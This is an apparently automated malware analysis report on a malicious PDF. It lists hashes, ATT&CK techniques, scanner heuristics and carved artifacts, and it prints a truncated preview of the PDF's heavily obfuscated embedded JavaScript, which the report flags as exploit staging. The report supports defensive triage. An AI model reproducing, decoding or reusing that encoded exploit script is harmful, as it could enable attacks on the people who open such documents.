Malicious PDF — malware analysis report

Static analysis result for SHA-256 79a5782e30b29823…

MALICIOUS

PDF

19.3 KB Created: 2012-09-17 23:33:20 +04:00 Authoring application: Adobe Acrobat 10.0 (via Acrobat Web Capture 10.0)
MD5: 54e529d6a90f690311785851ea1be25d SHA-1: 15a88cc1116c8ad21c5a4e6cd5b40999d414daaa SHA-256: 79a5782e30b29823e6bb3824e5715d7d79f5ee57666a01c1e2ab6a902d6f8c78
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that is heavily obfuscated, but heuristic analysis indicates it is part of an exploit cluster. The ML classifier strongly flags this PDF as malicious. The primary IOC is the embedded JavaScript file, which is likely responsible for downloading and executing a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js
f6d6119fbdcc5e7d97184fa0e706d5dbd38a65f1ee0bed2b35c927f3950a8af8		 pdf-javascript-stream PDF /JS object 19 at offset 0x2DE 8256 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
xx='b';
a='353d3m3a1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p35163o1h1k1k36163o1k1k1o1l163o1p1i1j36163o1i1m3838163o39391i1h163o351p3939163o1l1h1p35163o361k1k1h163o1k1q1l1n163o1o1m1h1n163o1p1o3935163o1j1l1k1l163o381l1p1m163o1m1i1o1m163o3835381q163o1m1i1l36163o1p351m1n163o1k361o1m163o1o1l1p35163o1o1p1k1m163o391m1h1k163o1p351m1n163o1j1h1o1n163o391m1h1k163o361q1k1k163o1l1i1l1q163o34373936163o361m1h1k163o37351k1k163o35381h39163o1k1p1i1h163o1o1l391j163o361i1h1p163o1h373635163o37341h1k163o38351l1h163o1k35391i163o1o1m1i39163o1m38381n163o1m381p35163o1h1k1j1l163o1n1n3737163o1h361p35163o1p371l35163o38361l1n163o1m1l3939163o1h361j1l163o371p1p35163o37371h1k163o1h1l1p35163o1h1k1p35163o3435361m163o1m1q1m38163o3835361k163o34371m1k163o1n1p1p35163o1p1h1j1h163o1h361o37163o1o1l1k1k163o1q1n1h1k163o391k3835163o1n1p1p35163o1p351h1p163o1n34391o163o1m1q1h1m163o1q1p381p163o39393939163o381j3939163o381p391q163o1h1h1h1h163o1h1h1h1h163o1m1h1m1p163o1l1h1n34163o39391n1p163o1h1h1h1h163o1m1h1h1h163o361h1p1k163o1m1h1i1q163o1p351m1m163o1p353836163o1i1h1m38163o361k1p1k163o39391h1m163o1n1p381k163o1n381n39163o1h1h1h1h163o1o1m1n1p163o1n361o1j163o1m1l1n37163o1i1n3939163o361l1p1k163o1p351h1p163o381p381p163o39391n1i163o39393939163o1h1j3835163o1o1j3835163o38361p1i163o1h1i1h1l163o1h1h1h1h163o1m361p37163o1h361j1l163o1h1l361o163o1o1j1j1l163o1n1o1n1m163o361o1o1k163o1j1l1l1l163o1o1n1h1l163o1k1k1o1j163o361o1k1j163o1j1l1l1l163o1j1h1h1p163o1o1k1j37163o1m1k1j1h163o391p1n1p163o1h1h1h1h163o39391h1h163o1h361m1n163o381p1p35163o361q1k1k163o361o1m1i163o1i371l1l163o1o1o1h1h163o1n1j1o1h163o361o1o1l163o1i371l1l163o1j381h1m163o1n361n1l163o361n1n36163o1i371l1l163o1h1h1h1q163o1p341m1q163o1h1l361i163o1p1p1k1h163o1i371l1l163o1l1i1h1l163o1n341m1i163o1n341h1h163o1m1k1h1h163o1n341m1o163o39391h1h163o1i1l1m1n163o361h1p1m163o1i1n1o1m163o1h1h1n34163o39391m1k163o1h1l1m1n163o1h1h1n34163o38351p1k163o1m1k1h36163o1m1n3939163o1p1k1h1l163o1h36361k163o1h1j3835163o1i1k3835163o1p1h1l1o163o1h1h1k39163o39341o1m163o1p1h1l1o163o1h1h1k39163o361l1o1m163o1h1h1n34163o39381n34163o1m1n3939163o381p1h1p163o39381q36163o39393939163o1l381p38163o38361h38163o39381q1p163o1h381p34163o1n391p1q163o35371h1i163o36341k1k163o1m351p34163o361n1i35163o1o1q1l1n163o1i341k1n163o1o1h1j39163o1o1l1n1p163o1o1h1o1l163o1j391k34163o1k1m1j39163o1n1n1k1h163o1n1n1n1k163o1n1j1k1n163o1n1m1n1n163o1n1k1k1p163o1n1i1k1o163o1n1m1j38163o1n1q1n1l163o1n361n1j163o1n1n1n1m163o1n1i1n36163o1o1j1n1q163o1j381o1k163o1n391n1k163o1j391n37163o1n1m1n38163o1o1k1o1o163o1o1m1j39163o1n1q1n38163o1o1q1n1n163o1n1i1m39163o1o1l1o1m163o1n391n1p163o1k1l1o1j163o1n1m1j38163o1n1m1o1p163o1h1h1h1h181s393o3h363n3c3i3h11383t3p3l193l341d3k3s1a3u3q3'+xx+'3c3f38193l341f3f383h3a3n3'+xx+'1'+xx+'1j1t3k3s1a3u3l341c1u3l34413l341u3l341f3m3o353m3n3l3c3h3a191h1d3k3s1g1j1a1s3l383n3o3l3h113l3441393o3h363n3c3i3h11353r191a3u3p343l11373e3a1u3h383q11233l3l343s191a1s3p343l113p3q1u1h3r1h361h361h361h361s3p343l113437373l1u1h3r1l1h1h1h1h1h1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113m36323f383h1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u3437373l1e193m36323f383h1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l11363i3o3h3n1j1u193p3q1e1h3r1l1h1h1h1h1h1a1g3437373l1s393i3l193p343l11363i3o3h3n1u1h1s363i3o3h3n1t363i3o3h3n1j1s363i3o3h3n1c1c1a3u373e3a2t363i3o3h3n301u3s343l3m3j1c3j343s3f3i3437413p343l113i3p383l393f3i3q1u3o3h383m36343j381913163o1h361h36163o1h361h36131a1s3q3'+xx+'3c3f38193i3p383l393f3i3q1f3f383h3a3n3'+xx+'1t1l1l1q1m1j1a3u3i3p383l393f3i3q1c1u3i3p383l393f3i3q413n3'+xx+'3c3m1f363i3f3f34352l3n3i3l381u253i3f3f34351f363i3f3f38363n273g343c3f2'+xx+'3h393i193u3m3o353d1r13131d3g3m3a1r3i3p383l393f3i3q411a41393o3h363n3c3i3h113j3l3c3h3n39191a3u3h3i3j1u3o3h383m36343j381913163o1h231h23163o1h231h23163o1h231h23163o1h231h23131a1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3'+xx+'38343j353f3i363e1u3h3i3j1c3j343s3f3i34371s353c3a353f3i363e1u3o
... (truncated)
icc_00_off000029d9.icc
653b586c4707574ffcd648ba35494daed2c76ceafcf4c07d315ed961b1dc347f		 pdf-icc-profile PDF ICC profile at offset 0x29D9 408 bytes
icc_01_off00002c74.icc
2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e		 pdf-icc-profile PDF ICC profile at offset 0x2C74 3144 bytes

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